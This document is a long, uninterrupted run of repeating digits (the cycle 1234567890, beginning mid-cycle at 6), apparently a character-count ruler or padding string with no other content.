678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
